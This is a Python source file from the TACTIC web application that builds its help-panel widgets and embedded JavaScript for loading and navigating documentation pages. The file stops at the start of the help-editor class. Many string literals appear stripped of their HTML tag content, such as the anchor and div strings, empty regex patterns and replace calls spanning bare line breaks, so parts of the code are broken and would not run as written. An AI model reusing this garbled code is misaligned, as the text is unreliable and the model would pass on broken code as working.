__all__ = ['HelpWdg', 'HelpContentWdg', 'HelpEditWdg', 'HelpEditCbk', 'HelpEditContentWdg','HelpDocFilterWdg']

import tacticenv

from pyasm.common import Environment, Xml, TacticException, Config, Common, Container
from pyasm.web import DivWdg, Table, SpanWdg, WebContainer
from pyasm.widget import TextAreaWdg, SelectWdg, HiddenWdg, IconWdg
from pyasm.search import Search, SearchType
from pyasm.command import Command

from tactic.ui.common import BaseRefreshWdg
from tactic.ui.widget import ActionButtonWdg, SingleButtonWdg, IconButtonWdg, ButtonNewWdg

import types, os
import re

__all__.append("HelpButtonWdg")
class HelpButtonWdg(BaseRefreshWdg):

    def init(self):
        self.cbjs_action = self.kwargs.get("cbjs_action")

    def add_style(self, key, value=None):
        self.top.add_style(key, value=value)

    def add_behavior(self, cbjs_action):
        self.cbjs_action = cbjs_action

    def exists():
        return Container.get("HelpWdg::exists") == True
    exists = staticmethod(exists)

    def get_display(self):

        top = self.top

        if not HelpWdg.exists():
            return top

        alias = self.kwargs.get("alias")
        description = self.kwargs.get("description")
        if not description:
            description = "Show Help"

        if self.kwargs.get("use_icon"):
            #help_button = SingleButtonWdg(title='Help', icon=IconWdg.HELP_BUTTON, show_arrow=False)
            help_button = ButtonNewWdg(title='Help', icon="FAR_QUESTION_CIRCLE", show_arrow=False)
        else:
            help_button = ActionButtonWdg(title="Help", tip=description, size='small', color="secondary")
        top.add(help_button)

        if not self.cbjs_action:
            self.cbjs_action = '''
            spt.help.set_top();
            spt.help.load_alias(bvr.alias);
            '''

            help_button.add_behavior( {
                'type': 'click_up',
                'alias': alias,
                'cbjs_action': self.cbjs_action
            } )

        return top

class HelpDocFilterWdg(BaseRefreshWdg):

    def get_display(self):

        alias = self.kwargs.get("alias")

        self.rel_path = self.kwargs.get("rel_path")
        if not self.rel_path:
            from tactic_client_lib import TacticServerStub
            server = TacticServerStub.get(protocol='local')
            self.rel_path = server.get_doc_link(alias)

        if not self.rel_path or self.rel_path == 'none_found':
            #raise TacticException("Help alias [%s] does not exist" % alias)
            layout = DivWdg()
            layout.add(HelpCreateWdg(alias=alias))
            layout.add(HelpDocFilterWdg(alias='main'))
            return layout

        # special condition for plugins path
        if self.rel_path.startswith("/plugins/"):
            plugin_dir = Environment.get_plugin_dir()
            rel_path = self.rel_path.replace("/plugins/", "")
            path = "%s/%s" % (plugin_dir,rel_path)
        elif self.rel_path.startswith("/builtin_plugins/"):
            plugin_dir = Environment.get_builtin_plugin_dir()
            rel_path = self.rel_path.replace("/builtin_plugins/", "")
            path = "%s/%s" % (plugin_dir,rel_path)
        elif self.rel_path.startswith("/assets/"):
            asset_dir = Environment.get_asset_dir()
            rel_path = self.rel_path.replace("/assets/", "")
            path = "%s/%s" % (asset_dir,rel_path)
        else:

            # see if there is an override
            doc_dir = os.environ.get("TACTIC_DOC_DIR")
            if not doc_dir:
                doc_dir = Config.get_value("install", "doc_dir")
            if not doc_dir:
                install_dir = Environment.get_install_dir()
                doc_dir = "%s/doc" % install_dir

            path = "%s/%s" % (doc_dir, self.rel_path)

        html = []
        try:
            paths = path.split('#')
            anchor = ''
            if len(paths) > 1:
                anchor = paths[-1]
                path = paths[0]
                read = False
            else:
                read = True

            f = open(path, 'r')
            count = 0
            idx = 0
            anchor_str = ''%anchor
            div_str = '
'
            strip_count = 0
            for line in f:
                if anchor and not read:
                    if not Common.IS_Pv3:
                        tmp_line = line.decode('utf-8', 'ignore')
                    else:
                        tmp_line = line
                    div_idx = tmp_line.find(div_str)
                    idx = tmp_line.find(anchor_str)
                    if idx != -1:
                        # use the div above the anchor
                        line = line[div_idx:-1]

                        # in case it doesn't get it right on
                        while strip_count < 30 and not line.startswith('
'):
                            line = line[1:-1]
                            strip_count +=  1

                        read = True

                if read:
                    line = self.filter_line(line, count)
                    html.append(line)
                    count += 1
            f.close()
        except Exception as e:
            print("Error processing: ", e)
            html.append("Error processing document: %s

" % str(e))
            raise

        html = "\n".join(html)
        if not html:
            html = "
"

        # let custom layout parse this first
        from tactic.ui.panel import CustomLayoutWdg
        rel_dir = os.path.dirname(self.rel_path)

        # TODO: this is only used to try to get images into plugin dogs
        # It breaks a lot of docs that have Mako examples
        #layout = CustomLayoutWdg(html=html, base_dir=rel_dir)
        #html = layout.get_buffer_display()

        try:
            tree = Xml.parse_html(html)
        except Exception as e:
            print("WARNING: ", e)
            # some crazy encoding for python 3.   Not sure why?
            #tree = Xml.parse_html(str(html.encode()))
            # Actually have to remove encode from html.  Just do a string replace
            # for now.
            html = html.replace('''encoding="UTF-8"''', '')
            tree = Xml.parse_html(html)

        xml = Xml(doc=tree)

        elements = self.filter_xml(xml)

        # generate the html
        top = self.top
        top.add_class("spt_help_top")
        top.add_style("min-width: 300px")
        top.add_style("min-height: 100px")
        top.add_color("background", "background")
        top.add_style("padding: 10px")
        top.add_style("font-size: 12px")
        top.add_class("spt_resizable")

        inner = DivWdg()
        top.add(inner)

        inner.add_behavior( {
            'type': 'load',
            'cbjs_action': '''
            var els = bvr.src_el.getElements(".spt_replace_element");
            for (var i = 0; i < els.length; i++) {
                var el = els[i];
                var replace_id = el.getAttribute("spt_replace_id");
                var el_old = document.id(replace_id);
                if (el_old) {
                    el.replaces(el_old);

                    var children = el_old.getChildren();
                    for (var j = 0; j < children.length; j++) {
                        el.appendChild(children[j]);
                    }
                }

            }
            '''
        } )

        inner.add_relay_behavior( {
            'type': 'mouseover',
            'bvr_match_class': 'spt_link',
            'cbjs_action': 'spt.mouse.table_layout_hover_over({}, {src_el: bvr.src_el, add_color_modifier: -5})'
        } )
        inner.add_relay_behavior( {
            'type': 'mouseout',
            'bvr_match_class': 'spt_link',
            'cbjs_action': 'spt.mouse.table_layout_hover_out({}, {src_el: bvr.src_el})'
        } )

        #node = xml.get_node("//body")
        #html = xml.to_string(node)
        ##print(html)
        #inner.add(html)

        nodes = xml.get_nodes("//body/*")
        for node in nodes:
            html = xml.to_string(node)

            html = html.replace("<", "&spt_lt;")
            html = html.replace(">", "&spt_gt;")
            inner.add(html)

        inner.add_behavior( {
            'type': 'load',
            'cbjs_action': '''
            var text = bvr.src_el.innerHTML;
            text = text.replace(/amp\;/g, "");
            spt.behavior.replace_inner_html(bvr.src_el, text);
            '''
        } )

        # add replacement html
        div = DivWdg()
        inner.add(div)
        div.add_class("spt_replacement")
        for element in elements:
            div.add(element)

        rel_path_div = DivWdg()
        rel_path_div.add("Source: %s" % self.rel_path)
        inner.add(rel_path_div)
        rel_path_div.add_style("opacity: 0.3")
        rel_path_div.add_style("margin-top: 10")

        if self.kwargs.get("is_refresh"):
            return inner
        else:
            return top

    def filter_line(self, line, count):
        '''replace certain tags with a replacement for proper display'''
        line = line.strip()
        if line.startswith("<meta"):
            line = line.replace(">", "/>")
        elif line.startswith("<link"):
            line = line.replace(">", "/>")
        elif line.find("<a ") != -1:
            import re
            p = re.compile("</>")
            p2 = re.compile("")
            line = re.sub(p, "", line)
            line = re.sub(p2, "", line)

        line = line.replace(" ", " ")
        line = line.replace("
", "
")
        line = line.replace("
", "
")
        return line

    def add_shadow(self, styles, value, color):
        browser = WebContainer.get_web().get_browser()
        if browser == 'Mozilla':
            styles.append("-moz-box-shadow: %s %s" % (value, color))
            styles.append("box-shadow: %s %s" % (value, color))
        elif browser == 'Webkit':
            styles.append("-webkit-box-shadow: %s %s" % (value, color))
            styles.append("box-shadow: %s %s" % (value, color))
        else:
            styles.append("box-shadow: %s %s" % (value, color))

    def filter_xml(self, xml):
        dirname = os.path.dirname(self.rel_path)

        # filter images
        img_nodes = xml.get_nodes("//img")
        install_dir = Environment.get_install_dir()
        for node in img_nodes:
            src = xml.get_attribute(node, "src")

            if src.startswith("/tactic/plugins/"):
                plugin_dir = Environment.get_plugin_dir()
                path = "%s/%s" % (plugin_dir, src.replace("/tactic/plugins/", "") )
            elif src.startswith("/tactic/builtin_plugins/"):
                plugin_dir = Environment.get_builtin_plugin_dir()
                path = "%s/%s" % (plugin_dir, src.replace("/tactic/builtin_plugins/", "") )

            elif src.startswith("/"):
                path = "%s/src%s" % (install_dir, src)
            else:
                path = "%s/doc/%s/%s" % (install_dir, dirname, src)

            size = (0,0)
            try:
                from PIL import Image
                im = Image.open(path)
                size = im.size
            except IOError as e:
                print("Error importing Image: ", e)

            except Exception as e:
                print("Error in opening image path:", path)
                print(e)
                #continue
                size = [0,0]

            style = xml.get_attribute(node, "style")
            if style:
                styles = style.split(";")
            else:
                styles = []

            shadow = DivWdg().get_color("shadow")
            if size[0] > 500:
                styles.append("width: 75%")
                styles.append("margin-left: 50px")
                styles.append("margin-bottom: 20px")
                styles.append("margin-top: 10px")
                self.add_shadow(styles, "0px 0px 15px", shadow)

            elif size[0] > 100:
                x = int(float(size[0])/500*75)
                styles.append("width: %s%%"%x)
                styles.append("margin-left: 50px")
                styles.append("margin-bottom: 20px")
                styles.append("margin-top: 10px")
                self.add_shadow(styles, "0px 0px 15px", shadow)

            else:
                self.add_shadow(styles, "0px 0px 15px", shadow)

            styles.append("border: solid 1px %s" % DivWdg().get_color("border"))
            style = ";".join(styles)
            xml.set_attribute(node, "style", style)

            if src.startswith("/"):
                new_src = src
            elif dirname:
                new_src = "/doc/%s/%s" % (dirname, src)
            else:
                new_src = "/doc/%s" % (src)

            #print("src: ", src)
            #print("new_src: ", new_src)
            #print("---")
            xml.set_attribute(node, "src", new_src)

        # filter links
        elements = []
        link_nodes = xml.get_nodes("//a")
        for node in link_nodes:

            href = xml.get_attribute(node, "href")

            if not href:
                # Test link to GitHub docs
                """
                # add a link to github
                github_node = xml.create_text_element("div", "edit >>")
                xml.insert_after(github_node, node)
                xml.set_attribute(github_node, "style", "float: right; font-size: 0.8em; opacity: 0.3")
                xml.set_attribute(github_node, "class", "hand")
                url = '''https://github.com/Southpaw-TACTIC/Docs/tree/master/section/doc/tactic-end-user/end-user/creating-tasks'''
                xml.set_attribute(github_node, "onclick", "window.open('%s', 'TACTIC Docs')" % url)
                """

                continue

            if dirname:
                link_rel_path = "%s/%s" % (dirname, href)
            else:
                link_rel_path = "%s" % (href)

            target = xml.get_attribute(node, "target")
            if target:
                target = xml.set_attribute(node, "href", "/doc/%s" % link_rel_path)
                continue

            # get a unique id for the node
            unique_id = self.top.generate_unique_id(base='replace')
            xml.set_attribute(node, "id", unique_id)

            div = SpanWdg()
            elements.append(div)
            div.add_class("spt_replace_element")
            div.add_attr("spt_replace_id", unique_id)
            div.add_class("hand")
            div.add_class("spt_link")
            div.add_color("background", "background")

            text = xml.get_node_value(node)
            div.add(text)
            div.add_behavior( {
                'type': 'click_up',
                'rel_path': link_rel_path,
                'cbjs_action': '''
                console.log("click link")
                spt.help.set_top();
                spt.help.load_rel_path( bvr.rel_path );
                '''
            } )

        # dummy div to get color
        div = DivWdg()

        # convert pre-elements to have < and >
        pre_nodes = xml.get_nodes("//pre")
        for node in pre_nodes:
            html = xml.to_string(node)
            html = re.sub(r'''
''','', html)
            html = html.replace('''
''','')
            if not html:
                continue

            styles = []
            styles.append("padding: 10px")
            styles.append("margin: 10px")
            styles.append("border: solid 1px %s" % div.get_color("border"))
            styles.append("background: %s" % div.get_color("background", -3))
            styles.append("color: %s" % div.get_color("color"))
            style = ";".join(styles)
            xml.set_attribute(node, "style", style)
            node.text = html

        # style the table nodes
        table_nodes = xml.get_nodes("//table")
        for node in table_nodes:
            styles = []
            #styles.append("border: solid 1px %s" % div.get_color("border"))
            styles.append("background: %s" % div.get_color("background", -1))
            style = ";".join(styles)
            xml.set_attribute(node, "style", style)
            xml.set_attribute(node, "cellpadding", "10")
            xml.set_attribute(node, "cellspacing", "0")
            xml.set_attribute(node, "border", "0")

        return elements

class HelpWdg(BaseRefreshWdg):

    def init(self):
        Container.put("HelpWdg::exists", True)
        self.show_add_new = self.kwargs.get('show_add_new') not in  ['false', False]

    def exists():
        return Container.get("HelpWdg::exists") == True
    exists = staticmethod(exists)

    def get_display(self):

        top = self.top

        #help_div = DivWdg()
        help_div = top
        #top.add(help_div)
        help_div.add_class("spt_help_top")
        help_div.set_id("spt_help_top")

        show_title = self.kwargs.get("show_title")
        if show_title in [True, 'true']:
            show_title = True
        else:
            show_title = False

        if show_title:
            title_wdg = DivWdg()
            help_div.add(title_wdg)
            title_wdg.add_style("font-size: 12px")
            title_wdg.add_style("font-weight: bold")
            title_wdg.add_color("background", "background", -10)
            title_wdg.add_style("padding: 3px")
            #title_wdg.add_style("margin-top: 8px")
            title_wdg.add_style("margin-bottom: 5px")
            title_wdg.add_style("height: 26px")
            title_wdg.add_style("padding: 6 0 0 6")
            title_wdg.set_round_corners(corners=['TL','TR'])

            icon = IconWdg("Close", IconWdg.KILL)
            title_wdg.add(icon)
            icon.add_style("float: right")
            title_wdg.add("Help")

        help_div.set_round_corners()
        help_div.add_color("color", "color2")
        help_div.add_color("background", "background")
        help_div.add_style("overflow: hidden")
        help_div.add_border()

        shelf_div = DivWdg()
        help_div.add(shelf_div)
        shelf_div.add_style("padding: 10px")
        shelf_div.add_color("background", "background", -10)
        shelf_div.add_style("height: 25px")

        #button = SingleButtonWdg(title="Documentation Main Page", icon=IconWdg.HOME)
        button = IconButtonWdg(title="Documentation Main Page", icon="BS_HOME")
        shelf_div.add(button)
        button.add_style("float: left")
        button.add_style("margin: 0px 10px")
        button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''
        spt.help.set_top();
        spt.help.load_alias("main")
        '''
        } )

        #button = SingleButtonWdg(title="Edit Help", icon=IconWdg.EDIT)
        if self.show_add_new:
            button = IconButtonWdg(title="Add New Help", icon="FA_EDIT")
            shelf_div.add(button)
            button.add_style("float: left")
            button.add_style("margin: 0px 10px")
            button.add_behavior( {
            'type': 'click_up',
            'cbjs_action': '''
            spt.tab.set_main_body_tab();
            var class_name = 'tactic.ui.app.HelpEditWdg';

            var element_name = spt.help.get_view();
            if (!element_name) {
              element_name = "default";
            }
            var kwargs = {
              view: element_name
            }

            spt.tab.add_new("help_edit", "Help Edit", class_name, kwargs);

            '''
            } )

        #button = SingleButtonWdg(title="Go Back One Page", icon=IconWdg.ARROW_LEFT)
        button = IconButtonWdg(title="Go Back One Page", icon="BS_CIRCLE_ARROW_LEFT")
        shelf_div.add(button)
        button.add_style("float: left")
        button.add_style("margin: 0px 10px")
        button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''
        spt.help.set_top();
        spt.help.load_prev();
        '''
        } )

        #button = SingleButtonWdg(title="Go Forward One Page", icon=IconWdg.ARROW_RIGHT)
        button = IconButtonWdg(title="Go Forward One Page", icon="BS_CIRCLE_ARROW_RIGHT")
        shelf_div.add(button)
        button.add_style("float: left")
        button.add_style("margin: 0px 10px")
        button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''
        spt.help.set_top();
        spt.help.load_next();
        '''
        } )

        #button = SingleButtonWdg(title="Documentation Downloads", icon=IconWdg.DOWNLOAD)
        button = IconButtonWdg(title="Documentation Downloads", icon="BS_DOWNLOAD")
        shelf_div.add(button)
        button.add_style("float: right")
        button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''
        spt.help.set_top();
        spt.help.load_alias("pdf")
        '''
        } )

        shelf_div.add("
")

        help_div.add_behavior( {
        'type': 'load',
        'cbjs_action': self.get_onload_js()
        })

        help_div.add_behavior( {
        'type': 'listen',
        'event_name': 'tab|select',
        'cbjs_action': '''

        var content = bvr.src_el.getElement(".spt_help_content");
        var options = bvr.firing_data;
        var element_name = options.element_name;
        var alias = options.alias;

        if (!alias) {
            alias = options.element_name;
        }

        spt.help.set_top();
        if (spt.help.is_visible()) {
            spt.help.load_alias(alias);
        }
        else {
            spt.help.set_view(alias);
        }
        '''

        } )

        help_div.add_behavior( {
        'type': 'listen',
        'event_name': 'show_help',
        'cbjs_action': '''
        var top = bvr.src_el.getParent(".spt_help");
        var content = top.getElement(".spt_help_content");
        var firing_data = bvr.firing_data;
        var class_name = firing_data.class_name;
        if (!class_name) {
            class_name = 'tactic.ui.app.HelpContentWdg';
        }

        if (top.getStyle("display") != 'none') {
            spt.hide(top);
            return;
        }

        spt.help.set_top()

        // get the help view
        var help_view = spt.help.get_view();
        var html = firing_data.html;
        if (html) {
            spt.help.load_html(html);
        }
        else {
            if (!help_view) {
                help_view = 'default'
            }
            spt.help.load_alias(help_view);
        }

        var size = document.id(window).getSize();

        var dialog = bvr.src_el.getParent(".spt_dialog_content");

        dialog.setStyle("height", size.y - 100);
        dialog.setStyle("width", 650);

        var top = bvr.src_el.getParent(".spt_dialog_top");
        top.setStyle("left", size.x - 660);
        top.setStyle("top", 40);

        spt.show(top);
        '''
        } )

        content = DivWdg()
        help_div.add(content)
        content.add_class("spt_help_content");
        content.add_style("position: relative")
        content.add_style("overflow_x: auto")
        content.add_style("overflow_y: auto")
        content.add_style("margin-bottom: 10px")
        #content.add_style("border: solid 1px blue")
        content.add_style("height: 98%")

        #key = "schema_editor"
        #search = Search("config/doc")
        #search.add_filter("code", key)
        #doc = search.get_sobject()
        #doc_html = doc.get_value("doc")
        #help_div.add(doc_html)

        return top

    def get_onload_js(self):
        return '''

if (spt.help) {
    return;
}

spt.Environment.get().add_library("spt_help");

spt.help = {};
spt.help.top = null;
spt.help.content = null;

spt.help.history = [['alias', 'main']];
spt.help.history_index = -1;

spt.help.current_view = null;

spt.help.set_view = function(view) {
    spt.help.current_view = view;
}

spt.help.get_view = function() {
    return spt.help.current_view;
}

// DEPRECATED
spt.help.show_help = function() {
    spt.named_events.fire_event("show_help", {} );
}

spt.help.show = function() {
    var container = spt.help.top.getParent(".spt_help");
    spt.show(container);
}

spt.help.hide = function() {
    var container = spt.help.top.getParent(".spt_help");
    spt.hide(container);
}

spt.help.is_visible = function() {
    var container = spt.help.top.getParent(".spt_help");
    if (container.getStyle("display") == "none") {
        return false;
    }
    else {
        return true;
    }
}

spt.help.set_top = function(el) {
    if (typeof(el) == 'undefined') {
        el = document.id("spt_help_top");
        spt.help.top = el;
    }

    if (el.hasClass("spt_help_top")) {
        spt.help.top = el;
    }
    else {
        spt.help.top = el.getParent(".spt_help_top");
    }

    spt.help.content = el.getElement(".spt_help_content");
}

spt.help.load_prev = function() {

    if (spt.help.history_index == 0) {
        spt.alert("No more pages to load");
        return;
    }

    if (spt.help.history_index == -1) {
        spt.help.history_index = spt.help.history.length - 2;
    }
    else {
        spt.help.history_index -= 1;
    }

    var info = spt.help.history[spt.help.history_index];
    var type = info[0];
    var value = info[1];
    if (type == 'alias') {
        spt.help.load_alias(value, false);
    }
    else {
        spt.help.load_rel_path(value, false);
    }
}

spt.help.load_next = function() {

    if (spt.help.history_index == -1) {
        spt.alert("No more pages to load");
        return;
    }

    if (spt.help.history_index == spt.help.history.length - 1) {
        spt.alert("No more pages to load");
        return;
    }
    else {
        spt.help.history_index += 1;
    }

    var info = spt.help.history[spt.help.history_index];
    var type = info[0];
    var value = info[1];
    if (type == 'alias') {
        spt.help.load_alias(value, false);
    }
    else {
        spt.help.load_rel_path(value, false);
    }
}

// let the server figure out what do do
spt.help.load_html = function(html) {

    if (!spt.help.is_visible() ) {
        spt.help.show();
    }

    var class_name = 'tactic.ui.app.HelpContentWdg';
    var kwargs = {
        view: 'view',
        html: html
    }

    var top = document.id("spt_help_top")
    if (!top) {
        spt.panel.load_popup("Help", class_name, kwargs, {width: "500px"});
    }
    else {
        spt.panel.load(top, class_name, args, {width: "500px"});
    }
}

// let the server figure out what do do
spt.help.load_alias = function(alias, history) {

    var class_name = 'tactic.ui.app.HelpContentWdg';
    var args = {
        alias: alias
    }

    if (!spt.help) return;

    spt.help.set_view(alias);

    var top = document.id("spt_help_top")
    if (!top) {
        var popup = spt.panel.load_popup("Help", class_name, args, {width: "600px"});
        var popup_content = popup.getElement(".spt_help_top");
    }
    else {
        spt.panel.load(top, class_name, args, {width: "500px"});
        var popup_content = top;

        var popup = top.getParent(".spt_popup");
        if (popup) {
            popup.setStyle("display", "");
            popup.setStyle("top", 0);
            popup.setStyle("right", 0);
            popup.setStyle("height", "100vh");
            popup.setStyle("max-width", "30%");
        }
    }

    spt.help.content = popup_content;

    if (typeof(history) == 'undefined') {
        history = true;
    }
    if (!history) {
        return;
    }

    if (spt.help.history_index != - 1) {
        spt.help.history = spt.help.history.slice(0, spt.help.history_index+1);
        spt.help.history_index = -1;
    }

    if (alias == spt.help.history[spt.help.history.length-1][1]) {
        return;
    }

    spt.help.history.push( ['alias', alias]);
}

spt.help.load_rel_path = function(rel_path, history) {

    var saved_path = rel_path;
    if (rel_path.indexOf("#") != -1) {
        var parts = rel_path.split("#");
        //rel_path can support anchor
        //rel_path = parts[0];
        tag = parts[1];
    }
    else {
        tag = null;
    }

    var class_name = 'tactic.ui.app.HelpContentWdg';
    var kwargs = {
        rel_path: rel_path
    }

    var top = document.id("spt_help_top")
    if (!top) {
        spt.panel.load_popup("Help", class_name, kwargs, {width: "500px"});
    }
    else {
        spt.panel.load(top, class_name, kwargs, {width: "500px"});
    }

    if (typeof(history) == 'undefined') {
        history = true;
    }
    if (!history) {
        return;
    }

    if (spt.help.history_index != - 1) {
        spt.help.history = spt.help.history.slice(0, spt.help.history_index+1);
        spt.help.history_index = -1;
    }

    if (rel_path == spt.help.history[spt.help.history.length-1][1]) {
        return;
    }

    spt.help.history.push( ['rel_path', saved_path]);
}

spt.help.load_custom = function(element_name) {
    var bvr = {};
    spt.help.set_view(element_name);
    bvr.options = {
      element_name: element_name,
    }
    spt.named_events.fire_event("show_help", bvr);
}

spt.help.set_top();
spt.help.set_view("main");

        '''

class HelpCreateWdg(BaseRefreshWdg):

    def get_display(self):
        alias = self.kwargs.get("alias")

        div = DivWdg()
        div.add_style("padding: 15px")
        div.add_style("margin: 10px")
        div.add_border()
        div.add_color("background", "background", -5)
        div.add_style("text-align: center")
        div.add_style("font-weight: bold")

        icon = IconWdg("WARNING", IconWdg.HELP_MISSING)
        div.add(icon)
        div.add("Add custom documentation page by clicking the Create button")

        from tactic.ui.widget import ActionButtonWdg
        button = ActionButtonWdg(title="Create", tip="Create docs for this view")
        div.add(button)
        button.add_style("margin-right: auto")
        button.add_style("margin-left: auto")
        button.add_style("margin-top: 15px")
        button.add_style("margin-bottom: 15px")
        # FIXME: copied code from above
        button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''
        spt.tab.set_main_body_tab();
        var class_name = 'tactic.ui.app.HelpEditWdg';

        var element_name = spt.help.get_view();
        if (!element_name) {
          element_name = "default";
        }
        var kwargs = {
          view: element_name
        }

        spt.tab.add_new("help_edit", "Help Edit", class_name, kwargs);

        '''
        } )
        return div

__all__.append("HelpContentWideWdg")
class HelpContentWideWdg(BaseRefreshWdg):

    def get_display(self):
        top = self.top
        top.add_color("background", "background", -5)

        help = HelpContentWdg(**self.kwargs)
        top.add(help)

        help_top = help.top
        help_top.add_style("margin: -1 auto 10 auto")
        help_top.add_border()

        return top

class HelpContentWdg(BaseRefreshWdg):

    def get_display(self):
        top = self.top
        top.add_style("height: 100%")
        top.add_style("overflow-x: hidden")
        top.set_unique_id()

        width = self.kwargs.get("width")
        if width:
            top.add_style("width: %s" % width)

        from tactic.ui.panel import CustomLayoutWdg
        html = self.kwargs.get("html")
        view = self.kwargs.get("view")

        alias = self.kwargs.get("alias")
        if alias:
            aliases = alias.split("|")
            alias = aliases[0]
            aliases = aliases[1:]
        else:
            aliases = []

        top.add_relay_behavior( {
            'type': 'mouseover',
            'bvr_match_class': 'spt_link',
            'cbjs_action': '''
            spt.mouse.table_layout_hover_over({}, {src_el: bvr.src_el, add_color_modifier: -5});
            '''
        } )

        top.add_relay_behavior( {
            'type': 'mouseout',
            'bvr_match_class': 'spt_link',
            'cbjs_action': '''
            spt.mouse.table_layout_hover_out({}, {src_el: bvr.src_el})
            '''
        } )

        top.add_smart_style("spt_link", "margin-left", "5px")
        if alias == 'main':
            top.add_smart_style("spt_link", "text-decoration", "none")
        else:
            top.add_smart_style("spt_link", "text-decoration", "underline")
        top.add_smart_style("spt_link", "padding", "1px")

        if aliases:
            related_wdg = self.get_related_wdg(aliases)
            top.add( related_wdg )

        rel_path = self.kwargs.get("rel_path")

        # attempt to get if from the widget config
        search = Search("config/widget_config")
        search.add_filter("category", "HelpWdg")
        search.add_filter("view", alias)
        config = search.get_sobject()

        if html:
            layout = CustomLayoutWdg(html=html, view=view)
            top.add(layout)

        # config can override alias
        elif config:
            layout = CustomLayoutWdg(config=config, view=alias)
            author = config.get_value("login")
            timestamp = config.get_value("timestamp")
            top.add(layout)

        elif alias:
            widget = HelpDocFilterWdg(alias=alias)
            top.add(widget)

        elif rel_path:
            widget = HelpDocFilterWdg(rel_path=rel_path)
            top.add(widget)

        elif not view:
            layout = DivWdg()
            top.add(layout)
            allow_create = self.kwargs.get("allow_create")
            if allow_create not in ['false', False]:
                layout.add(HelpCreateWdg())
            else:
                layout.add("No documentation found")
                layout.add_style("padding: 30px 20px")
                layout.add_style("margin-left: auto")
                layout.add_style("margin-right: auto")
                layout.add_style("margin-top: 50px")
                layout.add_style("text-align: center")
                layout.add_style("width: 250px;")
                layout.add_color("background", "background3")
                layout.add_color("color", "color3")
                layout.add_border()

        elif view == 'default':
            top.add(self.get_default_wdg())

        else:
            author = "TACTIC"
            timestamp = None

            search = Search("config/widget_config")
            search.add_filter("category", "HelpWdg")
            search.add_filter("view", view)
            config = search.get_sobject()
            if config:
                layout = CustomLayoutWdg(config=config, view=view)
                author = config.get_value("login")
                timestamp = config.get_value("timestamp")

            else:
                # get it from the file system
                layout = DivWdg()
                install_dir = Environment.get_install_dir()
                path = "%s/src/context/help/%s.html" % (install_dir,view)
                if os.path.exists(path):
                    f = open(path)
                    html = f.read()
                    f.close()
                    layout.add(html)

                else:
                    div = DivWdg()
                    layout.add(div)
                    div.add_style("padding: 15px")
                    div.add_style("margin: 10px")
                    div.add_border()
                    div.add_color("background", "background", -5)
                    div.add_style("text-align: center")
                    div.add_style("font-weight: bold")

                    icon = IconWdg("WARNING", IconWdg.WARNING)
                    div.add(icon)
                    div.add("There are no help pages available for this key [%s]

" % view)
                    div.add("
")

                    div.add("Click to create a new custom doc:")
                    from tactic.ui.widget import ActionButtonWdg
                    button = ActionButtonWdg(title="Create", tip="Create docs for this view")
                    div.add(button)
                    button.add_style("margin-right: auto")
                    button.add_style("margin-left: auto")
                    button.add_style("margin-top: 15px")
                    button.add_style("margin-bottom: 15px")
                    # FIXME: copied code from above
                    button.add_behavior( {
                    'type': 'click_up',
                    'cbjs_action': '''
                    spt.tab.set_main_body_tab();
                    var class_name = 'tactic.ui.app.HelpEditWdg';

                    var element_name = spt.help.get_view();
                    if (!element_name) {
                      element_name = "default";
                    }
                    var kwargs = {
                      view: element_name
                    }

                    spt.tab.add_new("help_edit", "Help Edit", class_name, kwargs);

                    '''
                    } )

                layout.add_style("margin-top: 10px")

            info_div = DivWdg()
            info_div.add("Author: %s" % author)
            info_div.add_style("opacity: 0.5")
            info_div.add_style("font-size: 10px")
            info_div.add_style("position: absolute")
            info_div.add_style("bottom: 20px")

            content_div = DivWdg()
            top.add(content_div)
            content_div.add_style("padding: 5px")
            content_div.add(layout)

            top.add(info_div)

        #top.add(HelpContentWdg.get_default_wdg(aliases))

        return top

    def get_related_wdg(self, aliases):
        div = DivWdg()
        div.add("Related links:  &nbsp")
        div.add_style("margin-top: 5px")
        div.add_style("margin-bottom: 5px")
        div.add_style("margin-left: 10px")

        titles = [Common.get_display_title(x.replace("-"," ")) for x in aliases]
        for alias, title in zip(aliases, titles):

            link_div = SpanWdg()
            div.add(link_div)
            link_div.add_color("background", "background")
            link_div.add(title)
            link_div.add_behavior( {
                'type': 'click_up',
                'cbjs_action': '''
                spt.help.set_top();
                spt.help.load_alias("%s");
                ''' % alias
            } )
            link_div.add_class("spt_link")
            link_div.add_class("hand")

        return div

    def get_default_wdg(cls, aliases=[]):
        div = DivWdg()
        div.set_unique_id()
        div.add_style("padding: 5px")
        if aliases:
            div.add("Related links:

")

            titles = [Common.get_display_title(x.replace("-"," ")) for x in aliases]
            for alias, title in zip(aliases, titles):

                link_div = DivWdg()
                div.add(link_div)
                link_div.add_color("background", "background")
                link_div.add(title)
                link_div.add_behavior( {
                    'type': 'click_up',
                    'cbjs_action': '''
                    spt.help.set_top();
                    spt.help.load_alias("%s");
                    ''' % alias
                } )
                link_div.add_class("spt_link")
                link_div.add_class("hand")

            div.add("

")

        div.add("Additional useful links:

")
        aliases = ['setup', 'end_user', 'developer', 'sys_admin']
        titles = ['Project Setup Documentation', 'End User Documentation', 'Developer Documentation', 'System Administrator Documentation']

        for alias, title in zip(aliases, titles):

            link_div = DivWdg()
            div.add(link_div)
            link_div.add_color("background", "background")
            link_div.add(title)
            link_div.add_behavior( {
                'type': 'click_up',
                'cbjs_action': '''
                spt.help.set_top();
                spt.help.load_alias("%s");
                ''' % alias
            } )
            link_div.add_class("spt_link")
            link_div.add_class("hand")

        div.add("
")

        link_div = DivWdg()
        div.add(link_div)
        link_div.add("TACTIC Documentation (PDF)")
        link_div.add_color("background", "background")
        link_div.add_behavior( {
            'type': 'click_up',
            'cbjs_action': '''
            window.open("/doc/", "TACTIC Docs");
            '''
        } )
        link_div.add_class("spt_link")
        link_div.add_class("hand")

        link_div = DivWdg()
        div.add(link_div)
        link_div.add_color("background", "background")
        link_div.add("TACTIC Community Site")
        link_div.add_behavior( {
            'type': 'click_up',
            'cbjs_action': '''
            window.open("http://community.southpawtech.com", "TACTIC Community Site");
            '''
        } )
        link_div.add_class("spt_link")
        link_div.add_class("hand")

        return div

    get_default_wdg = classmethod(get_default_wdg)

class HelpEditWdg(BaseRefreshWdg):

    def get_display(self):

        top = self.top
        top.add_class("spt_help_edit_top")
        top.add_color("background", "background")

        view = self.kwargs.get("view")

        from tactic.ui.container import ResizableTableWdg
